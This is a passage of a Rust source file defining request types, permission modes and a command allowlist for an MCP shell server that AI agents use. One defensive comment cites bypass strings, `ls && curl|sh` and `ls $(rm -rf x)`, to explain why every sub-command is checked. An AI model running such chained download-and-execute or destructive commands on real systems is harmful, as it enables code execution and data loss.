Skip to main content

winx_code_agent/
types.rs

1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub const MAX_NORMALIZED_THREAD_ID_BYTES: usize = 96;
5const THREAD_ID_HASH_SUFFIX_BYTES: usize = 9;
6
7pub fn normalize_thread_id(thread_id: &str) -> String {
8    let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
9    if filtered.is_empty() {
10        return filtered;
11    }
12
13    // Filtering can collapse distinct ids ("user-1" and "user1"), and a caller
14    // can otherwise create pathologically long state-file names. Preserve safe,
15    // short ids verbatim; every changed or oversized id receives a stable hash of
16    // the ORIGINAL input and a UTF-8-safe prefix bounded to 96 bytes total.
17    if filtered == thread_id && filtered.len() <= MAX_NORMALIZED_THREAD_ID_BYTES {
18        return filtered;
19    }
20
21    let prefix_budget = MAX_NORMALIZED_THREAD_ID_BYTES - THREAD_ID_HASH_SUFFIX_BYTES;
22    let mut prefix = String::with_capacity(prefix_budget);
23    for character in filtered.chars() {
24        if prefix.len() + character.len_utf8() > prefix_budget {
25            break;
26        }
27        prefix.push(character);
28    }
29    format!("{prefix}_{:08x}", fnv1a_32(thread_id))
30}
31
32/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
33/// interactive TUI without a hand-written recognizer. Loaded from the
34/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
35/// `configurable`. Each marker is matched case-insensitively; an invalid regex
36/// falls back to a literal-substring match.
37#[derive(Debug, Clone, Default, Deserialize)]
38pub struct TurnRecognizerMarkers {
39    /// Screen is actively working (scanned across the whole screen). E.g.
40    /// `["esc to interrupt", "generating"]`.
41    #[serde(default)]
42    pub busy: Vec<String>,
43    /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
44    #[serde(default)]
45    pub awaiting_input: Vec<String>,
46    /// Screen is asking for confirmation (scanned in the tail). E.g.
47    /// `["do you want", "y/n"]`.
48    #[serde(default)]
49    pub awaiting_approval: Vec<String>,
50}
51
52impl TurnRecognizerMarkers {
53    /// True when no markers are configured (nothing to recognize).
54    pub fn is_empty(&self) -> bool {
55        self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
56    }
57}
58
59/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
60/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
61/// resolves to the same session and state file after a server restart.
62fn fnv1a_32(s: &str) -> u32 {
63    let mut hash: u32 = 0x811c_9dc5;
64    for byte in s.bytes() {
65        hash ^= u32::from(byte);
66        hash = hash.wrapping_mul(0x0100_0193);
67    }
68    hash
69}
70
71/// Type of shell environment initialization
72///
73/// This enum represents the different ways the Initialize tool can be called,
74/// depending on the current state of the conversation and what the user is requesting.
75#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
76#[serde(rename_all = "snake_case")]
77pub enum InitializeType {
78    /// Initial call at the start of a conversation
79    ///
80    /// This should be used for the first Initialize call in a conversation.
81    /// It sets up a new shell environment with the specified parameters.
82    FirstCall,
83
84    /// User requested to change the mode
85    ///
86    /// This should be used when the user asks to switch between modes
87    /// (e.g., from "wcgw" to "architect" or "`code_writer`").
88    UserAskedModeChange,
89
90    /// Reset the shell environment due to issues
91    ///
92    /// This should be used only after `BashCommand` reports a shell-runtime failure.
93    /// A repeated reset inside the recovery cooldown preserves the current PTY
94    /// unless a new runtime failure was observed.
95    ResetShell,
96
97    /// User requested to change the workspace
98    ///
99    /// This should be used when the user asks to switch to a different
100    /// workspace or project directory during the conversation.
101    UserAskedChangeWorkspace,
102
103    /// Probe an existing session's workspace, cwd, mode, runtime and command
104    /// state. Persisted sessions may rehydrate and start a fresh shell; an
105    /// unknown session answers `needs_initialize` with the safe next call.
106    Status,
107}
108
109#[derive(Debug, Clone, PartialEq)]
110pub enum ModeName {
111    Wcgw,
112    Architect,
113    CodeWriter,
114}
115
116// Custom serializer implementation to ensure values are properly quoted in JSON
117impl Serialize for ModeName {
118    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
119    where
120        S: serde::Serializer,
121    {
122        match self {
123            ModeName::Wcgw => serializer.serialize_str("wcgw"),
124            ModeName::Architect => serializer.serialize_str("architect"),
125            ModeName::CodeWriter => serializer.serialize_str("code_writer"),
126        }
127    }
128}
129
130// Custom deserializer to support multiple aliases
131impl<'de> Deserialize<'de> for ModeName {
132    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
133    where
134        D: serde::Deserializer<'de>,
135    {
136        let s = String::deserialize(deserializer)?;
137        match s.as_str() {
138            "wcgw" => Ok(ModeName::Wcgw),
139            "architect" => Ok(ModeName::Architect),
140            "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
141            _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
142        }
143    }
144}
145
146// Custom JsonSchema (we removed the derive for the hand-written ser/de above).
147// Emit the concrete string enum INLINE — a previous version returned a `$ref` to
148// `#/definitions/ModeName`, a node that was never populated. Lenient clients
149// (Claude Code) ignored the dangling ref, but strict MCP clients (Cline, and
150// likely ChatGPT) reject the whole tool call: "Reference not found:
151// #/definitions/ModeName". The variants mirror the Serialize impl above.
152impl JsonSchema for ModeName {
153    fn schema_name() -> std::borrow::Cow<'static, str> {
154        "ModeName".into()
155    }
156
157    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
158        schemars::json_schema!({
159            "type": "string",
160            "enum": ["wcgw", "architect", "code_writer"],
161            "description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
162        })
163    }
164}
165
166#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
167pub struct CodeWriterConfig {
168    #[serde(default)]
169    pub allowed_globs: AllowedGlobs,
170    #[serde(default)]
171    pub allowed_commands: AllowedCommands,
172}
173
174impl CodeWriterConfig {
175    pub fn update_relative_globs(&mut self, workspace_root: &str) {
176        // Only process if we have a list of globs
177        if let AllowedGlobs::List(globs) = &self.allowed_globs {
178            let updated_globs = globs
179                .iter()
180                .map(|glob| {
181                    if std::path::Path::new(glob).is_absolute() {
182                        glob.clone()
183                    } else {
184                        format!("{workspace_root}/{glob}")
185                    }
186                })
187                .collect();
188
189            self.allowed_globs = AllowedGlobs::List(updated_globs);
190        }
191    }
192}
193
194#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
195#[serde(untagged)]
196pub enum AllowedGlobs {
197    All(String),
198    List(Vec<String>),
199}
200
201impl Default for AllowedGlobs {
202    fn default() -> Self {
203        AllowedGlobs::All("all".to_string())
204    }
205}
206
207impl AllowedGlobs {
208    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
209    /// Without this, a literal glob named "all" would be the only allowed path.
210    pub fn normalize(&mut self) {
211        if let AllowedGlobs::List(items) = self {
212            if items.len() == 1 && items[0] == "all" {
213                *self = AllowedGlobs::All("all".to_string());
214            }
215        }
216    }
217
218    #[allow(dead_code)]
219    pub fn is_allowed(&self, path: &str) -> bool {
220        match self {
221            AllowedGlobs::All(s) if s == "all" => true,
222            AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
223                Ok(pattern) => pattern.matches(path),
224                Err(_) => false,
225            }),
226            AllowedGlobs::All(_) => false,
227        }
228    }
229}
230
231#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
232#[serde(untagged)]
233pub enum AllowedCommands {
234    All(String),
235    List(Vec<String>),
236}
237
238impl Default for AllowedCommands {
239    fn default() -> Self {
240        AllowedCommands::All("all".to_string())
241    }
242}
243
244impl AllowedCommands {
245    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
246    pub fn normalize(&mut self) {
247        if let AllowedCommands::List(items) = self {
248            if items.len() == 1 && items[0] == "all" {
249                *self = AllowedCommands::All("all".to_string());
250            }
251        }
252    }
253
254    pub fn is_allowed(&self, command_line: &str) -> bool {
255        match self {
256            AllowedCommands::All(s) if s == "all" => true,
257            AllowedCommands::All(_) => false,
258            AllowedCommands::List(commands) => {
259                // Enforce the allowlist against EVERY command the line would run
260                // (pipelines, &&/||/;, command & process substitution, subshells),
261                // not just the first whitespace token — which `ls && curl|sh` and
262                // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
263                // closed: a restricted mode must not run what it can't vet.
264                match crate::utils::bash_parser::extract_command_texts(command_line) {
265                    Ok(cmds) if !cmds.is_empty() => cmds
266                        .iter()
267                        .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
268                    _ => false,
269                }
270            }
271        }
272    }
273}
274
275/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
276/// enforcing a word boundary so `ls` does not also permit `lsof`, and
277/// `cargo test` does not permit `cargo testimony`.
278fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
279    let cmd = cmd.trim();
280    let allowed = allowed.trim();
281    if allowed.is_empty() {
282        return false;
283    }
284    cmd == allowed
285        || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
286}
287
288/// Parameters for initializing the shell environment
289///
290/// This struct represents the parameters needed to initialize or update the shell environment.
291/// It is used by the Initialize tool, which must be called before any other shell tools.
292#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
293pub struct Initialize {
294    /// Initialization type, indicating the purpose of the call
295    ///
296    /// - `FirstCall`: Initial setup for a new conversation
297    /// - `UserAskedModeChange`: User requested to change the mode during a conversation
298    /// - `ResetShell`: Reset the shell if it's not working properly
299    /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
300    /// - `Status`: Read-only probe of the bound session (workspace, cwd, mode, runtime, running command); never mutates
301    #[serde(rename = "type")]
302    #[serde(default = "default_init_type")]
303    pub init_type: InitializeType,
304
305    /// Path to the workspace directory or file
306    ///
307    /// Local transports accept an absolute path or one relative to the current directory.
308    /// Remote HTTP sessions require an absolute path so the project identity is unambiguous.
309    /// If it's a file, the parent directory will be used as the workspace.
310    /// If it doesn't exist and is an absolute path, it will be created.
311    /// If it's a relative path and doesn't exist, an error will be returned.
312    pub any_workspace_path: String,
313
314    /// List of files to read initially
315    ///
316    /// These files can be absolute paths or paths relative to the workspace.
317    /// They will be read and their contents provided in the response.
318    #[serde(default)]
319    pub initial_files_to_read: Vec<String>,
320
321    /// ID of a task to resume
322    ///
323    /// If provided during a `first_call`, the task with this ID will be resumed.
324    /// This allows continuing a conversation from a previous session.
325    #[serde(default = "String::new")]
326    #[serde(deserialize_with = "deserialize_string_or_null")]
327    pub task_id_to_resume: String,
328
329    /// Mode name for the shell environment
330    ///
331    /// - `wcgw`: Full permissions (default)
332    /// - `architect`: Restricted permissions, read-only
333    /// - `code_writer`: Custom permissions for code writing
334    #[serde(default = "default_mode_name")]
335    pub mode_name: ModeName,
336
337    /// ID of the thread session
338    ///
339    /// If not provided for a `first_call`, a new ID will be generated.
340    /// This ID must be included in all subsequent tool calls.
341    #[serde(default)]
342    #[serde(deserialize_with = "deserialize_string_or_null")]
343    pub thread_id: String,
344
345    /// Configuration for `code_writer` mode
346    ///
347    /// Only used when `mode_name` is "`code_writer`".
348    /// Specifies allowed commands and file globs for writing/editing.
349    #[serde(default)]
350    #[serde(deserialize_with = "deserialize_code_writer_config")]
351    pub code_writer_config: Option<CodeWriterConfig>,
352}
353
354// Custom deserializer for strings that might be null
355fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
356where
357    D: serde::Deserializer<'de>,
358{
359    // First try to deserialize as a string
360    let result = serde_json::Value::deserialize(deserializer)?;
361
362    match result {
363        // Return empty string for null values
364        serde_json::Value::Null => Ok(String::new()),
365        // If it's a string, use that
366        serde_json::Value::String(s) => {
367            // Handle "null" string specially
368            if s == "null" {
369                Ok(String::new())
370            } else {
371                Ok(s)
372            }
373        }
374        // Otherwise try to convert to a string
375        _ => match serde_json::to_string(&result) {
376            Ok(s) => Ok(s),
377            Err(_) => Ok(String::new()),
378        },
379    }
380}
381
382// Custom deserializer for code_writer_config that handles the "null" string case
383fn deserialize_code_writer_config<'de, D>(
384    deserializer: D,
385) -> Result<Option<CodeWriterConfig>, D::Error>
386where
387    D: serde::Deserializer<'de>,
388{
389    // This handles multiple possible input types
390    let value = serde_json::Value::deserialize(deserializer)?;
391
392    match value {
393        // If it's explicitly null or the string "null", return None
394        serde_json::Value::Null => Ok(None),
395        serde_json::Value::String(s) if s == "null" => Ok(None),
396        // Otherwise try to parse it as CodeWriterConfig
397        _ => {
398            match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
399                Ok(config) => {
400                    tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
401                    Ok(Some(config))
402                }
403                Err(e) => {
404                    // Fail loud. A malformed restricted-mode config must NOT silently
405                    // degrade to `None` — `None` falls back to All commands / All globs,
406                    // so the model would believe the shell is locked down while it is in
407                    // fact wide open. Refuse to initialize instead.
408                    tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
409                    Err(serde::de::Error::custom(format!(
410                        "Invalid code_writer config: {e}. Refusing to start with a permissive \
411                         fallback — fix the allowed_commands / allowed_globs shape (or pass null \
412                         to opt out explicitly)."
413                    )))
414                }
415            }
416        }
417    }
418}
419
420/// Default `mode_name` for Initialize
421fn default_mode_name() -> ModeName {
422    ModeName::Wcgw
423}
424
425/// Default `init_type` for Initialize
426fn default_init_type() -> InitializeType {
427    InitializeType::FirstCall
428}
429
430// Mode types
431#[derive(Debug, Clone, Copy, PartialEq)]
432pub enum Modes {
433    Wcgw,
434    Architect,
435    CodeWriter,
436}
437
438/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
439/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
440/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
441/// variant maps to a `Modes` one — adding a variant to either enum without the
442/// other becomes a compile error here.
443impl From<&ModeName> for Modes {
444    fn from(name: &ModeName) -> Self {
445        match name {
446            ModeName::Wcgw => Modes::Wcgw,
447            ModeName::Architect => Modes::Architect,
448            ModeName::CodeWriter => Modes::CodeWriter,
449        }
450    }
451}
452
453impl std::fmt::Display for Modes {
454    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
455        match self {
456            Modes::Wcgw => write!(f, "wcgw"),
457            Modes::Architect => write!(f, "architect"),
458            Modes::CodeWriter => write!(f, "code_writer"),
459        }
460    }
461}
462
463// Inline string enum, same reasoning as `ModeName` above: a `$ref` to
464// `#/definitions/Modes` was dangling and breaks strict MCP clients.
465impl JsonSchema for Modes {
466    fn schema_name() -> std::borrow::Cow<'static, str> {
467        "Modes".into()
468    }
469
470    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
471        schemars::json_schema!({
472            "type": "string",
473            "enum": ["wcgw", "architect", "code_writer"]
474        })
475    }
476}
477
478/// Special key types for shell interaction
479/// Matches wcgw Python's Specials enum exactly
480#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
481pub enum SpecialKey {
482    Enter,
483    #[serde(rename = "Key-up")]
484    KeyUp,
485    #[serde(rename = "Key-down")]
486    KeyDown,
487    #[serde(rename = "Key-left")]
488    KeyLeft,
489    #[serde(rename = "Key-right")]
490    KeyRight,
491    #[serde(rename = "Ctrl-c")]
492    CtrlC,
493    #[serde(rename = "Ctrl-d")]
494    CtrlD,
495    #[serde(rename = "Ctrl-z")]
496    CtrlZ,
497}
498
499/// Parameters for the `ReadFiles` tool
500///
501/// This struct represents the parameters needed to read one or more files.
502/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
503#[derive(Debug, Clone, Serialize, JsonSchema)]
504pub struct ReadFiles {
505    /// List of file paths to read.
506    /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
507    /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
508    pub file_paths: Vec<String>,
509
510    /// Optional thread ID identifying the shell session to operate on. When
511    /// omitted, the most recently active session is used.
512    #[serde(default)]
513    pub thread_id: String,
514
515    /// Resend content even if this thread already received it unchanged.
516    #[serde(default, skip_serializing_if = "std::ops::Not::not")]
517    pub force: bool,
518
519    // Internal fields - not part of MCP schema (parsed from file_paths)
520    #[serde(skip)]
521    #[schemars(skip)]
522    pub start_line_nums: Vec<Option<usize>>,
523
524    #[serde(skip)]
525    #[schemars(skip)]
526    pub end_line_nums: Vec<Option<usize>>,
527}
528
529// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
530impl<'de> Deserialize<'de> for ReadFiles {
531    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
532    where
533        D: serde::Deserializer<'de>,
534    {
535        #[derive(Deserialize)]
536        struct ReadFilesHelper {
537            file_paths: Option<Vec<String>>,
538            #[serde(default)]
539            thread_id: Option<String>,
540            #[serde(default)]
541            force: bool,
542        }
543
544        let input = serde_json::Value::deserialize(deserializer)?;
545
546        if !input.is_object() {
547            if input.is_null() {
548                return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
549            }
550            return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
551        }
552
553        let helper: ReadFilesHelper = serde_json::from_value(input)
554            .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
555
556        let thread_id = helper.thread_id.unwrap_or_default();
557        let file_paths = match helper.file_paths {
558            Some(paths) if !paths.is_empty() => paths,
559            Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
560            None => return Err(serde::de::Error::custom("file_paths is required.")),
561        };
562
563        // Parse line ranges from file paths (like wcgw Python's model_post_init)
564        let mut clean_file_paths = Vec::with_capacity(file_paths.len());
565        let mut start_line_nums = Vec::with_capacity(file_paths.len());
566        let mut end_line_nums = Vec::with_capacity(file_paths.len());
567
568        for path in file_paths {
569            let (clean_path, start, end) = parse_file_path_with_line_range(&path);
570            clean_file_paths.push(clean_path);
571            start_line_nums.push(start);
572            end_line_nums.push(end);
573        }
574
575        Ok(ReadFiles {
576            file_paths: clean_file_paths,
577            thread_id,
578            force: helper.force,
579            start_line_nums,
580            end_line_nums,
581        })
582    }
583}
584
585fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
586    let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
587        return (path.to_string(), None, None);
588    };
589
590    let Some((start, end)) = parse_line_spec(line_spec) else {
591        return (path.to_string(), None, None);
592    };
593
594    (potential_path.to_string(), start, end)
595}
596
597fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
598    if line_spec.chars().all(|c| c.is_ascii_digit()) {
599        return line_spec.parse().ok().map(|line| (Some(line), None));
600    }
601
602    let (start, end) = line_spec.split_once('-')?;
603
604    if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
605        return end.parse().ok().map(|line| (None, Some(line)));
606    }
607
608    if !start.is_empty()
609        && start.chars().all(|c| c.is_ascii_digit())
610        && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
611    {
612        let start = start.parse().ok()?;
613        let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
614        return Some((Some(start), end));
615    }
616
617    None
618}
619
620impl ReadFiles {
621    /// Line numbers are always shown (like wcgw Python)
622    pub fn show_line_numbers(&self) -> bool {
623        true
624    }
625
626    /// Get the clean file path without line range suffix
627    pub fn get_clean_path(&self, index: usize) -> String {
628        parse_file_path_with_line_range(&self.file_paths[index]).0
629    }
630}
631
632/// Default true value for `status_check`
633fn default_true() -> bool {
634    true
635}
636
637/// Types of actions that can be performed with the `BashCommand` tool
638#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
639#[serde(tag = "type", rename_all = "snake_case")]
640pub enum BashCommandAction {
641    /// Execute a shell command
642    Command {
643        command: String,
644        #[serde(default)]
645        is_background: bool,
646        /// Opt out of the single-top-level-statement guard. By default winx
647        /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
648        /// agent has to be explicit about what it's running. Set this to true
649        /// when you knowingly want to run a composite command without
650        /// wrapping it in `bash -lc '...'`.
651        #[serde(default)]
652        allow_multi: bool,
653    },
654
655    /// Check the status of a running command.
656    ///
657    /// By default returns only what changed since the previous call — agents
658    /// driving long-lived TUIs do not need the cumulative buffer on every poll.
659    /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
660    /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
661    /// the PTY ringbuffer.
662    StatusCheck {
663        #[serde(default = "default_true")]
664        status_check: bool,
665        bg_command_id: Option<String>,
666        #[serde(default)]
667        scrollback_lines: Option<usize>,
668        #[serde(default)]
669        verbose: bool,
670    },
671
672    /// Send text to a running command. Set `submit` to true to append a carriage
673    /// return after the bytes so the target program receives the input as a
674    /// completed line (matches what hitting Enter would do in a TUI).
675    SendText {
676        /// Text to type into the running program. Must be non-empty: to press
677        /// Enter alone, use `send_specials: ["Enter"]` instead.
678        #[schemars(length(min = 1))]
679        send_text: String,
680        bg_command_id: Option<String>,
681        #[serde(default)]
682        submit: bool,
683    },
684
685    /// Send special keys to a running command. `submit` works the same as in
686    /// `SendText`.
687    SendSpecials {
688        send_specials: Vec<SpecialKey>,
689        bg_command_id: Option<String>,
690        #[serde(default)]
691        submit: bool,
692    },
693
694    /// Send ASCII characters to a running command. `submit` works the same as in
695    /// `SendText`.
696    SendAscii {
697        send_ascii: Vec<u8>,
698        bg_command_id: Option<String>,
699        #[serde(default)]
700        submit: bool,
701    },
702
703    /// Snapshot the live, stable screen of a shell's terminal: the consolidated
704    /// view a human would see right now (cursor moves, redraws, alternate-screen
705    /// and synchronized-output already applied), ANSI stripped. Unlike
706    /// `status_check`, it never stacks redraw generations and never waits — a
707    /// point-in-time photo, ideal for reading an interactive TUI's current frame
708    /// (the `claude` CLI, vim, htop, fzf).
709    Screen {
710        #[serde(default = "default_true")]
711        screen: bool,
712        bg_command_id: Option<String>,
713        /// Last N visible lines to return (0 or omitted = full screen buffer).
714        #[serde(default)]
715        lines: Option<usize>,
716        /// When true, return only the lines that CHANGED since the last `screen`
717        /// look (big token savings when polling a TUI frame-by-frame) instead of
718        /// the whole frame. First look, or a large change, still returns full.
719        #[serde(default)]
720        diff: bool,
721    },
722
723    /// Block until an interactive TUI finishes its turn and is ready for input.
724    /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
725    /// with a per-app recognizer, then returns the stable snapshot plus the
726    /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
727    WaitForTurn {
728        #[serde(default = "default_true")]
729        wait_for_turn: bool,
730        bg_command_id: Option<String>,
731        /// Recognizer hint: `auto` (default, claude+codex), `generic`, or any
732        /// bundled agent-manifest id/alias — `claude`, `codex`, `gemini`,
733        /// `antigravity` (aka `agy`), `cursor`, `opencode`, `copilot`, `grok`,
734        /// `amp`, `droid`, `kimi`, `pi`, `qwen`, and more.
735        #[serde(default)]
736        recognizer: Option<String>,
737        /// Quiet window in ms — the screen must be unchanged this long to count
738        /// as idle (default 600).
739        #[serde(default)]
740        quiet_ms: Option<u64>,
741        /// Hard cap in seconds before returning regardless (default 30).
742        #[serde(default)]
743        timeout_seconds: Option<f32>,
744        /// Visible lines to return in the final snapshot (0 or omitted = full).
745        #[serde(default)]
746        lines: Option<usize>,
747        /// By default `wait_for_turn` returns as soon as it confirms the app is
748        /// actively working (`busy`), instead of blocking until the turn ends or
749        /// `timeout_seconds` elapses — so a long-running child never pins the
750        /// caller for the whole cap (poll again to keep watching). Set this to
751        /// true for the old behavior: block *through* `busy` until the app is
752        /// ready for input (or the timeout fires).
753        #[serde(default)]
754        wait_through_busy: bool,
755    },
756    /// Observe retained output and full detection screen without consuming delivery cursors.
757    Inspect {
758        bg_command_id: Option<String>,
759        recognizer: Option<String>,
760        include_output: Option<bool>,
761    },
762    /// Idempotently submit a prompt, or observe an existing receipt when text is absent.
763    Prompt {
764        bg_command_id: Option<String>,
765        prompt_id: String,
766        text: Option<String>,
767        recognizer: Option<String>,
768        timeout_seconds: Option<f32>,
769    },
770}
771
772/// Parameters for the `BashCommand` tool
773#[derive(Debug, Clone, Copy, Default, Eq, PartialEq, Serialize, Deserialize, JsonSchema)]
774#[serde(rename_all = "snake_case")]
775pub enum BashWaitPolicy {
776    /// Wait for a bounded inline window. Task-capable clients keep short calls
777    /// inline and promote a command only after the runtime reports it running.
778    #[default]
779    Adaptive,
780    /// Always return the runtime state after a short bounded wait. This policy
781    /// never creates an MCP Task.
782    ReturnEarly,
783    /// Prefer one result after the command exits. Task-capable clients receive
784    /// an MCP Task immediately; other clients receive a bounded synchronous wait.
785    UntilComplete,
786}
787
788/// Parameters for the `BashCommand` tool
789#[derive(Debug, Clone, Serialize, JsonSchema)]
790pub struct BashCommand {
791    /// The action to perform (command, status check, etc.)
792    pub action_json: BashCommandAction,
793
794    /// Observation allowance in seconds, not process lifetime. Explicit values
795    /// are capped down; defaults depend on policy, transport and client profile.
796    #[serde(default)]
797    #[serde(skip_serializing_if = "Option::is_none")]
798    #[schemars(range(min = 0))]
799    pub wait_for_seconds: Option<f32>,
800
801    /// The thread ID for this session
802    #[serde(default)]
803    pub thread_id: String,
804}
805
806// Custom deserialization for BashCommand to handle string-encoded action_json
807impl<'de> Deserialize<'de> for BashCommand {
808    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
809    where
810        D: serde::Deserializer<'de>,
811    {
812        let input = serde_json::Value::deserialize(deserializer)?;
813        let serde_json::Value::Object(mut map) = input else {
814            return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
815        };
816
817        let wait_for_seconds = map
818            .remove("wait_for_seconds")
819            .filter(|value| !value.is_null())
820            .map(serde_json::from_value)
821            .transpose()
822            .map_err(serde::de::Error::custom)?;
823        // `wait_policy` is an MCP adapter concern rather than stored command
824        // state. Validate it here for direct deserializers, then keep the public
825        // `BashCommand` shape source-compatible for library callers.
826        map.remove("wait_policy")
827            .map(serde_json::from_value::<BashWaitPolicy>)
828            .transpose()
829            .map_err(serde::de::Error::custom)?;
830        let thread_id = map
831            .remove("thread_id")
832            .map(thread_id_from_value)
833            .transpose()
834            .map_err(serde::de::Error::custom)?
835            .unwrap_or_default();
836        let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
837
838        // Process action_json which could be a string or an object
839        let action_json = match action_json_value {
840            serde_json::Value::String(s) => {
841                // If it's a string, normalize newlines and try to parse it as JSON
842                // Replace literal newlines with space to avoid JSON parsing errors
843                let sanitized = s.replace('\n', " ");
844                match serde_json::from_str(&sanitized) {
845                    Ok(json) => normalize_action_json(json),
846                    Err(e) => {
847                        // If strict JSON parsing fails, try to be more lenient
848                        // For commands containing literal newlines, just wrap the string in a command object
849                        tracing::warn!(
850                            "Failed to parse action_json as JSON, trying fallback: {}",
851                            e
852                        );
853
854                        // Check for common JSON syntax issues
855                        if s.contains("command") && s.contains('{') && s.contains('}') {
856                            // It looks like JSON but has issues, let's try to sanitize it
857
858                            // Detailed error for troubleshooting
859                            tracing::debug!(bytes = s.len(), "JSON parse error in action_json");
860
861                            // Common issues: unescaped quotes, newlines, tabs
862                            let re_sanitized = s
863                                .replace('\n', "\\n") // Replace newlines with escaped newlines
864                                .replace('\r', "\\r") // Replace carriage returns with escaped versions
865                                .replace('\t', "\\t"); // Replace tabs with escaped versions
866
867                            // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
868                            let re_sanitized = if !s.contains('"') && s.contains(':') {
869                                // Very likely unquoted keys/values
870                                tracing::debug!("Attempting to fix unquoted JSON keys/values");
871                                re_sanitized
872                            } else {
873                                re_sanitized
874                            };
875
876                            match serde_json::from_str(&re_sanitized) {
877                                Ok(json) => normalize_action_json(json),
878                                Err(err) => {
879                                    // Log the specific parsing error for debugging
880                                    tracing::error!("Secondary JSON parse error: {}", err);
881                                    // Last resort fallback - assume it's a command string
882                                    // MUST include "type": "command" for serde tagged enum
883                                    serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
884                                }
885                            }
886                        } else {
887                            // Assume it's a simple command string
888                            // MUST include "type": "command" for serde tagged enum
889                            tracing::info!(
890                                bytes = s.len(),
891                                "Treating action_json as simple command"
892                            );
893                            serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
894                        }
895                    }
896                }
897            }
898            // If it's already an object or other JSON value, normalize legacy
899            // WCGW-style shorthand such as {"command": "..."}.
900            value => normalize_action_json(value),
901        };
902
903        // Now deserialize the action_json to our BashCommandAction enum
904        let action: BashCommandAction =
905            serde_json::from_value(action_json.clone()).map_err(|e| {
906                tracing::error!(
907                    bytes = action_json.to_string().len(),
908                    "Failed to deserialize action_json to BashCommandAction: {}",
909                    e
910                );
911
912                // For the SyntaxError: Unexpected token case
913                let err_str = e.to_string();
914                if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
915                    return serde::de::Error::custom(format!(
916                        "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
917                    ));
918                }
919
920                serde::de::Error::custom(format!(
921                    "Invalid action_json: {e}. Please ensure your JSON is properly formatted."
922                ))
923            })?;
924
925        // Return the properly constructed BashCommand
926        Ok(BashCommand {
927            action_json: action,
928            wait_for_seconds,
929            thread_id: normalize_thread_id(&thread_id),
930        })
931    }
932}
933
934fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
935    match value {
936        serde_json::Value::Null => Ok(String::new()),
937        serde_json::Value::String(value) => Ok(value),
938        other => Err(format!("thread_id must be a string or null, got {other}")),
939    }
940}
941
942fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
943    let serde_json::Value::Object(map) = &mut value else {
944        return value;
945    };
946
